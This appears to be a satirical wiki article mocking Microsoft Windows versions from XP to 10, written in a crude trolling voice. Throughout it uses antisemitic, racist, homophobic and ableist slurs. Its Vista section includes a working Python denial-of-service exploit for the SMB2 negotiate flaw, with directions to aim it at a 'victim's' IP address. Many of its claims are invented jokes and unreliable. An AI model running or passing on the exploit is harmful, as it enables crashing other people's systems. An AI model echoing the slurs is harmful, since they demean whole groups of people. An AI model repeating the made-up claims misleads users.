|If you are homosexual, see Mac OS; if you do not shave and/or shower, see the shit Linux|
—Typical Microsoft Customer
Microsoft Windows is an operating system composed of herpes-inducing malware, produced and developed by the Microsoft Corporation in order to spy on the whole world. Windows is known for its wide appeal, attracting users from the most hardcore gamers who live a meaningless existence, to your grandmother who is too senile to know any better. Microsoft gives users a wide array of half-assed, broken tools and regular untested security updates, written by slave-labour code monkey pajeets. These "feature updates" can be put to all kinds of uses, like permanently crashing your entire system. As it stands, Windows is a very reliable OS, provided users don't have hang-ups about their computer crashing every five seconds, randomly deleting their files, doxxing their information, and catching fire (See: Hans Reiser).
Microsoft was founded by Bill Gates and named after the size and shape of his penis (hence "Micro" and "soft"—the term cannot possibly apply to the software because ironically it is macro in size and hard to use) with the intention of a hostile overthrow of the PC market, starting first with the rape of DOS. The usability of Windows 3.1 ushered in the reign of our Illuminati masters as we know it today. Windows 3.1's success was due in large part to the killer app Solitaire, since this program was simple enough to run without crashing, as long as nothing else was running at the same time. Since their humble beginning, Microsoft products are often ridiculed for having security problems, crashing over 9,000 times a second, being bloated & slower than a dead turtle with a broken leg.
Windows has remained the most bloated computer software since its conception, and succeeds at creating its Jew qualities. Chief competitors such as Fapple and Jewnix have failed to acquire a significant market share. Especially the tag team Linux/Unix family of operating systems has failed to gain a significant foothold of its core constituency of people who don't get laid. Meanwhile, Apple has expanded out towards a new userbase of hardened gays, hipsters and useless people in the early 2000s, but has failed to mount a significant opposition.
The potentially vast resources of the Africa market, however, are yet to be exploited by any of them. This may be because monkeys have no money and prefer to use pirated versions and / or bananas. The validity of such a claim has been questioned, as victims of white guilt believe the underlying reason for "minorities" having no money, is because they are swindled out of it by the white man.
The purported advantages of alternative operating systems such as Linux are that, like AIDS, they're free.
The trendy appeal of Macs on the other hand works for similar-minded people, despite the fact that they failed to capture a significant enough audience, closed-source and hardwired to completely overpriced and underpowered electronic dumpsters. Apple Inc. remains profitable only thanks to hordes of dickless idiots who pay the double cash for bland, elitist, cookie-cutter laptops with one button (other than keyboard/trackpad).
Now, none of this ever happens with Linux, because nobody uses it.
Most people try to forget the pain and suffering Windows has brought to them, by hiding it under a blanket of "nostalgia". We at ED do not.
Windows XP came out last Tuesday and like everything Microsoft, took a while to mature. Now it's fairly stable, if somewhat outdated. But some people don't seem to mind using an archaic OS that shipped with MSN Explorer and support for floppy drives. They were convinced at one point that someday, Microsoft will see the error of its ways and throw away several years of development to Vista and Windows 7 and return to 2001. They have likely installed Rainmeter at a kernel level and cannot upgrade or they will lose access to all of their data, which is encrypted, so that their mom can't get it.
While most people who have a job and crazy shit like that have moved on to Windows 7, if not 10, there are still legions of unemployed Aspies who insist on tweaking their Windows XP "rigs" instead of doing more productive stuff like looking for a job, masturbating, or actually pretending like this is the 2010s.
There are those who are yet more faggy and install 64-bit Windows XP, despite that it was minimally supported by Microsoft. There are few, if any, drivers or applications that use the awesome power of 64 bit to double the size of every pointer, but don't tell any of these faggots that they are wasting their lives on an outdated, shitty operating system from a shitty company. Some retards claim that Windows XP is still usable in 2022. These people are diagnosed with autism and their primitive rigs are constantly targeted by all the malware in the book. As of 2017, up to 5% of the world, easily around 300 million people, are still fucking using XP; granted, they're usually poorfags from the third world or disgruntled employees and students who are stuck with XP, since their companies or schools are way too lazy to buy a modern OS, then complain about having to pay their IT guys overtime all the damn time.
XP Nostalgia Fun Fact: Windows XP is so old now that, if it was a female, it could soon hit the wall. It is only natural that there would be a strong sense of nostalgia and saudade over the OS being over a decade and a half old.
What happens when you try to combine the bug-ridden bloated-ness of a Microsoft operating system with the overdesigned aesthetics of an Apple product? A feat that was thought to be impossible by industry experts.
Windows Vista was an unfinished, rushed-out, bloated and beautiful pile of shit. It took several service packs before it became an okay-to-use OS. But by that time the OS was already despised and Windows 7 was right around the corner.
It looks just just like Mac OS X! All windows have rounded corners, the browser has tabs, everything is shiny like a man slathered with vaseline, and you can do that cool exposé thing (if you have 4GB of RAM, that is). The Vista / OSX similarity was a hot topic with fanboys on both sides; they were screaming for your blood should you suggest that their beloved OS is not original.
- FACT: Everyone nowadays calls Windows Vista the worst operating system ever, but only because most of the millenials that write such nonsense never experienced Windows ME in a real work environment. It was already dead the moment Windows XP came out.
- Jews made Vista much slower, causing the entire world to become unproductive. This insidious action was believed to target mainly Amerifats, but has ended up pwning the entire planet.
- Vista's main feature was that it divides by zero once every hour. Vista then decided to fuck off and blue screen itself.
Windows Vista is the next generation in technology. It was developed using the legendary Computer Science III library system and used the DRAIN graphical API to suck the shit right out of your graphics card's asshole.
The incompatibility monitor ensures that something in your computer won't work with Vista. Incompatibility monitor checks to make sure that everything on your computer is responding to the operating system, and if everything is working, incompatibility monitor is designed to pick the one thing you use the most and make it stop working. The incompatibility monitor runs twenty-four hours a day, even when you think you've shut off your computer, and is unable to be uninstalled.
User Account Control
User Account Control (UAC) is an application Microsoft put into Windows Vista as a new feature. It was Microsoft's way to keep the viruses you get from watching lolita porn from messing up your computer. The way it works is simple, yet annoying. Everytime you run an application it asks if you are sure you want to run it and then it tells you that it may fuck up your computer. If you say yes, it will ask you another question that looks different, but is the same basic question. Thus, protecting your computer from yourself, before fucking it up. The most ironic thing about UAC is the fact that Windows is the world's biggest computer virus in itself, and it is rather amusing to think that a Virus protects itself against other viruses. In the end this feature caused so much drama that Microsoft toned it down in future versions, but also made it scarier in Windows 10 (full screen pop-up warnings).
Aero Glass Faggotry
A completely useless and now abandoned feature that Microsoft claimed is innovative. Now you can sort of see through the window panes to the other window panes behind them, but it's slightly blurred so you actually cannot see anything behind the window. It drains power from your GPU to function properly and may even cause display crashes that reset the Windows visuals back to basic. Sounds confusing? That's the way we like it here at Microsoft.
- Q: Is it safer?
JUST LOOK AT IT HOLY SHIT DOES IT LOOK HIGH TECH IT'S GOT TO BE SAFER, I MEAN, I KNOW THEY MAKE VIDEO GAMES NOW, BUT THEY WOULDN'T POSSIBLY DRESS UP THEIR OPERATING SYSTEM TO JUST LOOK BETTER RIGHT? THOSE GRAPHICS SAVE YOU FROM VIRII, BUT MORE IMPORTANTLY, IT HAS ALL OF THOSE ROUND EDGES SO YOU DON'T BANG YOUR HEAD ON THE CORNERS BECAUSE THAT WOULD BE DANGEROUS FOR THE USER! SAFETY IS THE NUMBER ONE PRIORITY!!!!
- Q: What does VISTA stand for?
Vainglorious & Incompatible Software with Tenacious Asperger's.
- Q: How do I uninstall VISTA and replace with 95/98/XP/Linux/OSX/anything?
Because VISTA was modeled after AIDS, there is no cure.
- Q: Why is my C:\Windows\ folder over 20 gigabytes?
- Q: I bought a PC package with preinstalled Vista. I want to install XP on it. Where is the Vista Installation DVD and where can I find XP drivers for the hardware?
Ha ha ha! I mean... good luck with that.
- Q: Why is there so much fail with VISTA?
Because you're adopted
- Q: Why don't any applications work with VISTA?
To fix compatibility issues, visit the Microsoft Technical Support Page.
- Q: When I try to delete a file, Vista says, "You don't have rights to delete this file". But I am the owner of the file. Why can't I delete it?
Since everything you have on your computer with Vista belongs to Microsoft, you simply just don't have rights to delete your own files. Read the EULA before you accept it.
- Q: What kind of computer will run Vista smoothly?
The latest supercomputer comes close, but you have to run everything at lowest settings for it. At home, you'll need at least an 61-core Xeon Phi processor with at least 768GB RAM, three NVIDIA GeForce GTX Titan X's in SLI, and at least 9001 GB of free hard drive space. Double those requirements if you want to play both solitaire and minesweeper.
- Q: Isn't Vista the best operating System EVAR?
"YES" - Bill Gates.
Windows 7/Vista remote (sort of) SMB 2.0 malformed protocol version handshake ruin
SRV2.SYS fails to handle malformed SMB headers for the NEGOTIATE PROTOCOL REQUEST functionality.
The NEGOTIATE PROTOCOL REQUEST is the first SMB query a client send to a SMB server, and it's used to identify the SMB dialect that will be used for further communication.
This SMB2 security issue is specifically due to a MS patch, for another SMB2.0 security issue: KB942624 (MS07-063)
#!/usr/bin/python # When SMB2.0 recieve a "&" char in the "Process Id High" SMB header field it dies with a # PAGE_FAULT_IN_NONPAGED_AREA from socket import socket from time import sleep host = "IP_ADDR", 445 buff = ( "\x00\x00\x00\x90" # Begin SMB header: Session message "\xff\x53\x4d\x42" # Server Component: SMB "\x72\x00\x00\x00" # Negociate Protocol "\x00\x18\x53\xc8" # Operation 0x18 & sub 0xc853 "\x00\x26"# Process ID High: --> :) normal value should be "\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe" "\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54" "\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31" "\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00" "\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57" "\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61" "\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c" "\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c" "\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e" "\x30\x30\x32\x00" ) s = socket() s.connect(host) s.send(buff) s.close()
Copy and paste that into a file called "smb.py". Edit "IP_ADDR" in the script to what your victims IP is. Later on I'll update the script so it can have an IP appended at the end or even have a list of IP's piped into it :)
[email protected]/~$ chmod +x smb.py [email protected]/~$ ./smb.py
It seizes up their shit and crashes the OS instantly. It hasn't been patched yet. GO-GO-GO (Disclaimer: I did not discover this)
With the release of Windows 7, Microsoft announced they were trolling us from the start and there isn't a damn thing we can do about it.
—Actual quote from Mike Nash, Microsoft Corporate Vice-President
Windows 7 is basically service pack 3 of Windows Vista, with a less vibrant design. Since most people now had computers that were powerful enough to run Vista by the year 2009, they all ate it up, leaving Vista behind.
- You know how when your network adapter isn't working, you try troubleshooting and it suggests that you try remote assistance? That was my idea.
- The lack of blue screens in 7? That was MY idea. Wait, you're getting blue screens in 7? Your idea, not mine.
- You know the inability to view animated gifs without some shitty 3rd party program? That was my idea.
Last Thursday, Microsoft CEO Steve Sweaty Bollocks ballmer unveiled the newest version of Windows, the aptly named Windows 8. This news was initially met with jubilant cheers by the masses until they saw...
Having carefully studied Apple's success with the iPad and iPhone, Ballmer logically deduced that the future of computing lay in full-screen, single-tasking "apps" that would provide a unified user experience across phones, tablets, and high-end desktops. Inspired by Microsoft's last successful full screen, single task-switching OS, he ordered his engineers to rewrite MS-DOS 5 for .NET with new METRO aesthetics. In a bold move, Ballmer then personally force-raped METRO to Windows 7 to spawn Windows 8, an act against God, nature, and Steve Jobs that precipitated a mass defection of Microsoft developers to marginally less evil corporations.
Dubbing it the Metro UI, Microsoft was banking on this version of Windows to secure their 90% market share and put a ding in iPad sales. Much to Ballmer's disappointment, many desktop and enterprise users could not understand his genius in allowing them to run Windows Phone 7 on their eight-core desktops:
With this version of Windows, Microsoft anticipated a lull in new PC sales. This was what happened with Vista, which launched to boost the decline in hardware sales in 2009. Of course, many current Windows 7 users saw right through this bullshit and have opted to keep Windows 7 or XP until Microsoft unfucks Windows 8. Others, meanwhile, decided to abandon ship and move over to OS X or Linux, because that'll show those greedy nerds in Redmond who's boss. If only Microsoft had kept improving Windows 7, a stalled attempt at fixing Vista, right?
On a sidenote, the Metro UI name later had to be dropped by Microsoft, because a German shopping mall with the name Metro sued them.
It's finally here. The update we've all been waiting for. There is this much: imagine Windows 8 except approximately 2% better. Doesn't get much better than that, does it? What will these brilliant bastards think of next? I was going to say it would be nice if they could add a feature to scroll through my horse porn, while the computer is locked, but oh well.
Windows 10 is an NSA backdoor. All of your data is recorded and sent to the feds. Also, 10 is bloated with more spyware and adware.
After the clusterfuck that was Windows 8 and it's half assed 8.1 update, Microshit decided to skip 9 and call the new OS Windows 10. The start menu has returned in a sort-of Windows 7 form, but it's also been paired with the METRO UI designed by underpaid college graduates. The old METRO UI can be brought back for those that give a fuck. A lot of people have been paranoid over Microsoft asking for your personal information "to make the experience better" and that every 30 minutes Windows 10 sends all typed text to Microsoft, in fear that the government might look into their files and find their huge collection of horse porn, despite the fact that they've always been spying on you in some form.
The information collecting was mostly for feedback purposes. In the beta certain screenshots resulted in their rage in the first place, and it can be easily disabled by following a few simple steps. The best feature about Windows 10 is the ability to roll back to Windows 7 or 8, but like the cunts that Microsoft are, you only have month before they nuke your backup.
Windows features amazing technology such as rebooting your computer. It even comes with built-in fax support! It also appeals to 13-year-old boys because it allows them to make "viruses" that don't replicate themselves, change other users' passwords through the command prompt if they are running an administrator account; they are too retarded to realize that they can already do it with a graphical user interface by using the fucking Control Panel, and messing with Microsoft Sam. After all, who cares about blind people being able to use computers when you can make a robot say, "I suck cocks"?
Windows also comes with a text editor that only supports Windows \r\n newlines and fucks up reading text files made with any other operating system and a graphics editor that doesn't support alpha transparent PNG images, animated GIFs, or even something as simple as layers.
The Anti-Windows Movement
This movement is largely led by Linux users and other retards who think Windows is the shittiest operating system ever. Little do they realize that making fun of Windows ME's constant crashing became a worn out joke a long time ago. The up-to-date joke being the fact that Windows catches more strains of viruses than a nymphomaniac prostitute does. The fact is that Windows XP and above are pieces of shit, literally fecal matter. Fags actually sit around waiting for someone to tell them all this, so they have a chance to argue about it for hours and hours.
Some people have hypothesized that Windows is an illegal monopoly, but M$ has proven time and time again that it isn't, namely by bundling their own web browser, multimedia program and more recently an exceptional security system along with their OS. Today Microsoft makes most of its monies from Android phone royalties and has replaced innovation with litigation.
In addition to the numerous positive attributes of Microsoft Windows, OS X and Linux have a pitiful choice of games and have to rely on emulation or Steam to fix this problem. As everyone knows, games are the primary reason anybody uses a computer. Games, being the hobby of only roaringly heterosexual successful employed white men, are a necessary past time for all normal people. This accounts for Windows's incredible popularity and customer loyalty.
Plagiarism, the sincerest form of faggotry
A pathetic attempt at copying the Apple iPod.
Seinfeld, with a dash of memetology
You saw this coming, folks: the sit-cum king and known ephebophile (he’s a furry and a Jew) was destined to team up with the shit that is Microsoft. The immensely witty and popular “Hello, I’m a Mac" commercials were just too good not to copycat. Enter “Jerry and Bill try to fit in with normal people” spots. Hated by one and all, the campaign was halted after two ads, with the spin being that it’s always been planned that way, and “ordinary people” ads were not a complete rip off of Apple's advertising. Using an "incredibly funny" and "popular" comedian wasn’t enough for Microsoft, though. Like an mature gentleman adopting hipster talk to fit in with the young’in’s, Microshaft hijacked and forever sullied a respectable meme in the shoe store ad.
— Jerry, being a Kewl Kid
FACT: This ad campaign cost 300 Million Jewgold, 10 of which went to Seinfeld for the two ads.
Sometimes, being the richest TV actor in history with rerun syndication on five continents just isn't enough.
Now you know why it costs you $35 to make a Windows support call to Raju in Bangalore.
Microsoft's .NET framework was designed with one very simple, sensible rule in mind: to force all programs on Windows to be proprietary. Yes, even open source ones. You see dear reader, it isn't enough that Microsoft is already a bazillionaire corporation reaping the benefits of spilled, outsourced, Chinese blood. No, they need to ensure that no other operating system can get their mitts on the glory that is "Software"
If you're confused, then please let me take this minute to explain. Once upon a time, computer programs were written in a language called C. This means that if you write a program for one operating system (such as Windows) then you could use it on another (such as Unix). Enter our friend Bill Gates. This is a man who lives in a delusional world in which he invented computers and the internet; and therefore it is only his natural birthright to lay claim to all computer-related Softwarez. He first began his flagrant assault on free knowledge by obfuscating and packing programs into little things called "Executables" (These are the .exe files you see on your Windows right now.) These programs were different from every other operating system in that you couldn't see how they worked exactly -- all you knew is that they did in fact work as advertised.
A few ambitious neckbeards got together and built several programs to run these executable files on their miscellaneous operations systems. The reasoning behind their desire to taint their kingdom with Microsoft bile is still unclear to this day. Regardless, they did it. This was widely regarded as a huge mistake to everyone who gave two shits about the girth of Bill Gate's wallet.
Naturally, Gates retaliated, and released what is known as the .NET framework (Pronounced "Dot Net"). Microsoft will tell you that they created this framework for the purpose of simplifying and streamlining programming. Those of us who have an iota of intelligence more than an ape or your senile grandmother knows that this is utter bullshit. It was invented for the sole purpose of forcing all programs created on Microsoft to work ONLY for Microsoft. Thus, any time you want to make a "modern program that follows current Windows standards" you are forced to make the program proprietary to Microsoft.
TL;DR Bill Gates has somehow successfully manipulated the entire world's population of programmers to work for him.
- Bill Gates
- Easter egg
- H-Dub Beeper
- PC Gamer
- Steve Ballmer
- Windows Media Player
- Windows Optimizer
Other worthy softwares:
- Microsoft CEO "Our company almost as Israeli as American."
- Windows 7 YHBT Edition. Could this be one of our own patriots trolling a journalist?
is part of a series on
Windows is part of a series on
Visit the Softwarez Portal for complete coverage.
|Featured article July 14 & July 15, 2011|